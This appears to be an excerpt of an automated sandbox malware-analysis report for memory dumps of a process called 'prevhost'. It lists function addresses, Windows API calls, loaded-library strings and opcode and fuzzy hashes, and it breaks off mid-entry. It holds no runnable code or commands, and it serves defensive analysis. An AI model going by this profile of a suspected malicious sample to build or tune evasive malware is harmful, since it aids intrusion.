                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID:
                                • String ID: net.dll$wininet.dll
                                • API String ID: 0-1269752229
                                • Opcode ID: b49d55bda7f45b2d753a3011f1970a7cc5f3763a51dc5953ca91d1de4a1bbb36
                                • Instruction ID: dd9c3be0671e3872f0fa31d99dd3a9e1465b489235fa782458d5f9769790c558
                                • Opcode Fuzzy Hash: b49d55bda7f45b2d753a3011f1970a7cc5f3763a51dc5953ca91d1de4a1bbb36
                                • Instruction Fuzzy Hash: 2071ACB2604245AFC711DFB4E8C1BE6BFF8FB86304F1485E9E9559B281C3716A45CBA0
                                Function 00AFFD09 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 102COMMON
                                Download Yara Rule
                                APIs
                                Strings
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: InitializeUninitialize
                                • String ID: @J7<
                                • API String ID: 3442037557-2016760708
                                • Opcode ID: f37bece60e611ceaa724c6338de7a6f2c1b1e73da7559a8c5d6b4129a26e35a4
                                • Instruction ID: 0214ccb11fe832c518aa9ff01e46ed6930cd8f4b08dcf0ff2fbbd52a32a9824d
                                • Opcode Fuzzy Hash: f37bece60e611ceaa724c6338de7a6f2c1b1e73da7559a8c5d6b4129a26e35a4
                                • Instruction Fuzzy Hash: 153110B5A0060AAFDB10DFD8D880DEEB7B9FF88304B108569E515E7254D775EE05CBA0
                                Function 00AFFD10 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 101COMMON
                                Download Yara Rule
                                APIs
                                Strings
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: InitializeUninitialize
                                • String ID: @J7<
                                • API String ID: 3442037557-2016760708
                                • Opcode ID: fbb0cab78238660e3553be626ce01610b75eb4dc7f0477b1f5ba025a01ce9e10
                                • Instruction ID: b0cf9469eb7da45497ccb6cbb54d90767e5a5095261f25a84a9d5689d8d220fd
                                • Opcode Fuzzy Hash: fbb0cab78238660e3553be626ce01610b75eb4dc7f0477b1f5ba025a01ce9e10
                                • Instruction Fuzzy Hash: 34312FB5A0060AAFDB10DFD8D8809EEB7B9BF88304B108559E515EB254D775EE05CBA0
                                Function 00B04290 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 96sleepCOMMON
                                Download Yara Rule
                                APIs
                                • Sleep.KERNELBASE(000007D0), ref: 00B0436B
                                Strings
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: Sleep
                                • String ID: net.dll$wininet.dll
                                • API String ID: 3472027048-1269752229
                                • Opcode ID: 417ec6f93901c484ad4d2b46ad68d7da9d47b93f030dc1c69f55e97243c617fb
                                • Instruction ID: 3e28b91e88d6420bacf096f34082e4184be4130dca949d49661c440e610d7d55
                                • Opcode Fuzzy Hash: 417ec6f93901c484ad4d2b46ad68d7da9d47b93f030dc1c69f55e97243c617fb
                                • Instruction Fuzzy Hash: DC3193B1A05705BFD714DF64D881FEABBF8FB44710F1085A8EA196B281D7706650CBA4
                                Function 00AF4D70 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                Download Yara Rule
                                APIs
                                • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00AF4DE2
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: Load
                                • String ID:
                                • API String ID: 2234796835-0
                                • Opcode ID: 169300342ec012082af8d9fc994880b487080d55fc2ea02b2f42f86782b7218c
                                • Instruction ID: 7a85460ecd346016d191619817ea5675471a4ffefee49b16ad7998f34133e275
                                • Opcode Fuzzy Hash: 169300342ec012082af8d9fc994880b487080d55fc2ea02b2f42f86782b7218c
                                • Instruction Fuzzy Hash: 27011EB5D0020DABDB14EBE4DC42FEEB7B89B54308F004195FA0997281F631EB58CB91
                                Function 00B0A0E0 Relevance: 1.5, APIs: 1, Instructions: 47processCOMMON
                                Download Yara Rule
                                APIs
                                • CreateProcessInternalW.KERNELBASE(?,?,00000000,?,00AF8B1E,00000010,?,?,?,00000044,?,00000010,00AF8B1E,?,00000000,?), ref: 00B0A140
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: CreateInternalProcess
                                • String ID:
                                • API String ID: 2186235152-0
                                • Opcode ID: e345b928436dbe7c09a52d1b09d8fc4cd222fd6964fe334be5c778260e0abbe8
                                • Instruction ID: 02d4715e891bc8b449fbb7a12839347a18f7f838f0eb7ff0998a4912c3b98b7d
                                • Opcode Fuzzy Hash: e345b928436dbe7c09a52d1b09d8fc4cd222fd6964fe334be5c778260e0abbe8
                                • Instruction Fuzzy Hash: F301D2B2214108BBCB44DE89DC81EDB77EDEF8C714F408208BA0DE3240DA30F8518BA4
                                Function 00AE9F30 Relevance: 1.5, APIs: 1, Instructions: 38threadCOMMON
                                Download Yara Rule
                                APIs
                                • CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 00AE9F75
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: CreateThread
                                • String ID:
                                • API String ID: 2422867632-0
                                • Opcode ID: 89eebc08334233bffe4ca18387ba3bac65465914e7eea9db44b94aac3ae725b3
                                • Instruction ID: 16e432124ee3921d5474f540a981475e3889758c13470157e09b59cbabf4a906
                                • Opcode Fuzzy Hash: 89eebc08334233bffe4ca18387ba3bac65465914e7eea9db44b94aac3ae725b3
                                • Instruction Fuzzy Hash: C5F0657338471436E23062A99C06FDBB69CDB80B61F240065F71CDB2C4D996F40142E5
                                Function 00AE9F2C Relevance: 1.5, APIs: 1, Instructions: 32threadCOMMON
                                Download Yara Rule
                                APIs
                                • CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 00AE9F75
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: CreateThread
                                • String ID:
                                • API String ID: 2422867632-0
                                • Opcode ID: 71cdb97bf0832f9945b061e5ed08052acbfb1fe27bd7eec1eabc609922cdc59f
                                • Instruction ID: 351eb13a3ed9ac70c5412a90fbf78e52ddf6550cde86a16a8fc67ca51e86e472
                                • Opcode Fuzzy Hash: 71cdb97bf0832f9945b061e5ed08052acbfb1fe27bd7eec1eabc609922cdc59f
                                • Instruction Fuzzy Hash: 63E092B338071076E23062A59D46FCB669CDF80B10F240159F71CBB2C4C9A5B50146E9
                                Function 00B0A000 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                Download Yara Rule
                                APIs
                                • RtlAllocateHeap.NTDLL(00AF2236,?,00B05E89,00AF2236,00B05E7F,00B05E89,?,00AF2236,00B05E7F,00001000,?,?,00000000), ref: 00B0A03C
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: AllocateHeap
                                • String ID:
                                • API String ID: 1279760036-0
                                • Opcode ID: 47f9beb941636e76541a917d33dfc2e6fe1a4e8707d9eee1bb3cb836e656807e
                                • Instruction ID: 6409a3614f73a1ec83a834fcee7aa4197a67d824f32adf00bf90759152c703dd
                                • Opcode Fuzzy Hash: 47f9beb941636e76541a917d33dfc2e6fe1a4e8707d9eee1bb3cb836e656807e
                                • Instruction Fuzzy Hash: 48E065B22102147FC610EE99DC42EAB37ACEFC9710F404409F908A7281D630B8208AB9
                                Function 00B0A050 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                Download Yara Rule
                                APIs
                                • RtlFreeHeap.NTDLL(00000000,00000004,00000000,75C6C5D4,00000007,00000000,00000004,00000000,00AF45F9,000000F4), ref: 00B0A08C
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: FreeHeap
                                • String ID:
                                • API String ID: 3298025750-0
                                • Opcode ID: 4a4f7bae8e4d89fa6954fdd35993cb4b311fbda0223e580d4231f85ed5842d5b
                                • Instruction ID: 99ef6e9f049a4254e423b928bc8bd608ab65fb48f86c91763d7dc50ffd7c0a36
                                • Opcode Fuzzy Hash: 4a4f7bae8e4d89fa6954fdd35993cb4b311fbda0223e580d4231f85ed5842d5b
                                • Instruction Fuzzy Hash: C6E065B2200214BFD714EE59DC42FEB77ACEF89754F004409F908A7282D630B9148AB5
                                Function 00AF8B59 Relevance: 1.5, APIs: 1, Instructions: 29COMMON
                                Download Yara Rule
                                APIs
                                • GetFileAttributesW.KERNELBASE(?), ref: 00AF8B8C
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: AttributesFile
                                • String ID:
                                • API String ID: 3188754299-0
                                • Opcode ID: 7c7ff47203042a9615644ca1bc327bc35749ab012f046157795cc812fcede862
                                • Instruction ID: a2939b0373e37e2e4f327fa6dea52bebe2574365d3ea283a44e13e84b99025c2
                                • Opcode Fuzzy Hash: 7c7ff47203042a9615644ca1bc327bc35749ab012f046157795cc812fcede862
                                • Instruction Fuzzy Hash: 35E0D8B61005086BEB349BB4CC8AFFD3364EB48364F144750BA5EDB2C2DAB9E5424650
                                Function 00AF8B60 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                Download Yara Rule
                                APIs
                                • GetFileAttributesW.KERNELBASE(?), ref: 00AF8B8C
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: AttributesFile
                                • String ID:
                                • API String ID: 3188754299-0
                                • Opcode ID: 6f304c07c3c957889999076e0659adc00e933b0c6dcba9d93e803dd123c12bd4
                                • Instruction ID: 17b80629385c02b2ffbcebe00c204cf7f90f48138bdf457bf2932b041469a9e1
                                • Opcode Fuzzy Hash: 6f304c07c3c957889999076e0659adc00e933b0c6dcba9d93e803dd123c12bd4
                                • Instruction Fuzzy Hash: 77E048B114020857E6245BB89C85B793358D744724F144650BB5C9B2C1D979F9414150
                                Function 00AF8948 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                Download Yara Rule
                                APIs
                                • SetErrorMode.KERNELBASE(00008003,?,?,00AF2530,00B087BF,00B05E7F,00AF2500), ref: 00AF8983
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: ErrorMode
                                • String ID:
                                • API String ID: 2340568224-0
                                • Opcode ID: f5a1dee4658b6c7224d9dbc92b523e93e781feb5d4887766ccc17c5eb5f93079
                                • Instruction ID: 06216efbf3b4850bfad9f887d50ac1e0c123a34b1e5f877ae747de0e1468628d
                                • Opcode Fuzzy Hash: f5a1dee4658b6c7224d9dbc92b523e93e781feb5d4887766ccc17c5eb5f93079
                                • Instruction Fuzzy Hash: 45E0CD72294200AEF210E7F09D46F692798AB44314F1544A4F61CE72C2DD65E1104711
                                Function 00AF8950 Relevance: 1.5, APIs: 1, Instructions: 21COMMON
                                Download Yara Rule
                                APIs
                                • SetErrorMode.KERNELBASE(00008003,?,?,00AF2530,00B087BF,00B05E7F,00AF2500), ref: 00AF8983
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: ErrorMode
                                • String ID:
                                • API String ID: 2340568224-0
                                • Opcode ID: fa1adc040e12cad03368c4608dd4572950f2c7e09e89283df5e6b4faec33238e
                                • Instruction ID: e3df054b603dfa3ac1d4d73ff34ba9d909d1e1e554a773bd36754579a78886e4
                                • Opcode Fuzzy Hash: fa1adc040e12cad03368c4608dd4572950f2c7e09e89283df5e6b4faec33238e
                                • Instruction Fuzzy Hash: D3D05EB12843087BF610A7F59C4BF6A328CAB41758F048064BA0CE73C2ED65F51042A6
                                Function 00AF160B Relevance: 1.5, APIs: 1, Instructions: 20threadwindowCOMMON
                                Download Yara Rule
                                APIs
                                • PostThreadMessageW.USER32(?,00000111,00000000,00000000), ref: 00AF161D
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: MessagePostThread
                                • String ID:
                                • API String ID: 1836367815-0
                                • Opcode ID: 8ec3775f0e40b3bee5156ff5a0e22553932c57dfa4200919125e76a782e4c981
                                • Instruction ID: 2381ee523bc54d87c2ed0ea3cfd1dd43125ec8631c480b9a996ef94b4c564558
                                • Opcode Fuzzy Hash: 8ec3775f0e40b3bee5156ff5a0e22553932c57dfa4200919125e76a782e4c981
                                • Instruction Fuzzy Hash: ABD0A732B4025C70EA2145D05C42FFE776C8B51F40F0400A7FB00F40C1D581140906A9
                                Function 04BE2C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 507259a0a7247bf8aa6c6d2441b6add725e700e69a44b200047a48920d6eddb5
                                • Instruction ID: 7c0ed482aab02d91029373cfe542df0629eabaee31ff8a209a62201b0db882bc
                                • Opcode Fuzzy Hash: 507259a0a7247bf8aa6c6d2441b6add725e700e69a44b200047a48920d6eddb5
                                • Instruction Fuzzy Hash: 63B09B729015C5C5FF15F7614A087177914EFD1705F15C0E1D3070652E4738D1D5E175

                                Non-executed Functions

                                Function 049004CE Relevance: .2, Instructions: 151COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773265819.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4900000_prevhost.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 5a002822194565fd27de9fdca2583c613b3238fb9781f4c3a9c0e718fc7ee067
                                • Instruction ID: aefa75b970efcef6bd02fbfe7b119af6398345a48b063e980c9b265030dee86e
                                • Opcode Fuzzy Hash: 5a002822194565fd27de9fdca2583c613b3238fb9781f4c3a9c0e718fc7ee067
                                • Instruction Fuzzy Hash: 2641D87051CB0D4FD768AF69A081776B3E6FB89300F50493DD58AC3292EA74F8468785
                                Function 0490E0C9 Relevance: 57.7, Strings: 46, Instructions: 226COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773265819.0000000004900000.00000040.00000800.00020000.00000000.sdmp, Offset: 04900000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4900000_prevhost.jbxd
                                Similarity
                                • API ID:
                                • String ID: !"#$$%&'($)*+,$-./0$123@$4567$89:;$<=@@$?$@$@@@?$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@
                                • API String ID: 0-3754132690
                                • Opcode ID: e0fab9cf738f152425359ba22a04c419a2140955b32f3b1a11076e8d7daec69c
                                • Instruction ID: 469a2882416c58e55a0a92374e4b724b2d526d3fda0b1c3dbda090f1ff6d680b
                                • Opcode Fuzzy Hash: e0fab9cf738f152425359ba22a04c419a2140955b32f3b1a11076e8d7daec69c
                                • Instruction Fuzzy Hash: BE916FF04082948ECB158F54A0612AFFFB5EBC6305F15856DE7E6BB243C3BE89058B85
                                Function 04BE2890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                Download Yara Rule
                                APIs
                                Strings
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: ___swprintf_l
                                • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                • API String ID: 48624451-2108815105
                                • Opcode ID: d66700ffd07f7303c8146339e4dbcf3e42d63cd92a5803b8491c8a1ee66e7570
                                • Instruction ID: f39c00c2124a046a00c9c0f5eccf66fe6c83b1baac43de56be02fe247f888837
                                • Opcode Fuzzy Hash: d66700ffd07f7303c8146339e4dbcf3e42d63cd92a5803b8491c8a1ee66e7570
                                • Instruction Fuzzy Hash: 7F51F6BAA04116BFDB14DFA98C9097EF7BCFB4820471481E9E569D3641E334FE009BA0
                                Function 04BD7630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON
                                Download Yara Rule
                                Strings
                                • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 04C14655
                                • CLIENT(ntdll): Processing section info %ws..., xrefs: 04C14787
                                • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 04C14725
                                • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 04C14742
                                • Execute=1, xrefs: 04C14713
                                • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 04C146FC
                                • ExecuteOptions, xrefs: 04C146A0
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID:
                                • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                • API String ID: 0-484625025
                                • Opcode ID: 54cb28af1479d7fc85b1abb677b543437179dfd170ba29afba90fcf95e97a2fa
                                • Instruction ID: c90a6fdab6e7ecaaa1485b84c9abb75a5aa30f6ee7a1fa0ce28eb2e7d47d8d99
                                • Opcode Fuzzy Hash: 54cb28af1479d7fc85b1abb677b543437179dfd170ba29afba90fcf95e97a2fa
                                • Instruction Fuzzy Hash: 8D510335600219BAEB14EAA9DC89BFA77B9EF09704F1404E9E505AB190FF70BE41DF50
                                Function 04BEB5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                Download Yara Rule
                                APIs
                                Strings
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: __aulldvrm
                                • String ID: +$-$0$0
                                • API String ID: 1302938615-699404926
                                • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                • Instruction ID: 65eef3602de74f2e32bc3a0ab4bffd13d8045eaade210778cdb2eab232868618
                                • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                • Instruction Fuzzy Hash: C2819170E09249DEEF28CE6AC8517FEBBB1EFC5310F18459AD861A7690D734B841CB50
                                Function 04BCF5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                Download Yara Rule
                                Strings
                                • RTL: Re-Waiting, xrefs: 04C1031E
                                • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 04C102BD
                                • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 04C102E7
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID:
                                • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                • API String ID: 0-2474120054
                                • Opcode ID: 93218183d2c96598de2b8daa9bb691160e01de2280a47d85891b842f57a35da9
                                • Instruction ID: cfe2dec1f7299160884c4ad77a7527279ef5643a56093b47d367b63a5e98977e
                                • Opcode Fuzzy Hash: 93218183d2c96598de2b8daa9bb691160e01de2280a47d85891b842f57a35da9
                                • Instruction Fuzzy Hash: 81E1CD30604741DFD725CF29C884B2AB7E2FB89314F140AADE4A58B6E1E774F945DB42
                                Function 04BDBED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                Download Yara Rule
                                Strings
                                • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 04C17B7F
                                • RTL: Re-Waiting, xrefs: 04C17BAC
                                • RTL: Resource at %p, xrefs: 04C17B8E
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID:
                                • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                • API String ID: 0-871070163
                                • Opcode ID: c78fbcb7e6ff34eb9305b2aed1ed29822e391ff166f3bb57f662327b5d910f89
                                • Instruction ID: 5fdb7df48ad0c335410c25ce05d723f314c3ff3c526dbe860ee12de08602f60d
                                • Opcode Fuzzy Hash: c78fbcb7e6ff34eb9305b2aed1ed29822e391ff166f3bb57f662327b5d910f89
                                • Instruction Fuzzy Hash: 5C4114313057029FDB24DE25C840F6AB7E6EF89710F100AADF85ADB690EB70F5059B91
                                Function 04BDB4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                Download Yara Rule
                                APIs
                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04C1728C
                                Strings
                                • RTL: Re-Waiting, xrefs: 04C172C1
                                • RTL: Resource at %p, xrefs: 04C172A3
                                • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 04C17294
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                • API String ID: 885266447-605551621
                                • Opcode ID: 3c96866a5221c1a97ddd32c6f3335cde147648012d85a78e8c50bcdb73353505
                                • Instruction ID: 242083818c1e4afe74ea81cb9a0ce0809b8783e2b19f42a3eb222a32d9815ab6
                                • Opcode Fuzzy Hash: 3c96866a5221c1a97ddd32c6f3335cde147648012d85a78e8c50bcdb73353505
                                • Instruction Fuzzy Hash: C2411031705206ABEB20DE25CC41B76B7A6FB85714F200698F955AB250EB20F952ABD0
                                Function 04BE7D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                Download Yara Rule
                                APIs
                                Strings
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: __aulldvrm
                                • String ID: +$-
                                • API String ID: 1302938615-2137968064
                                • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
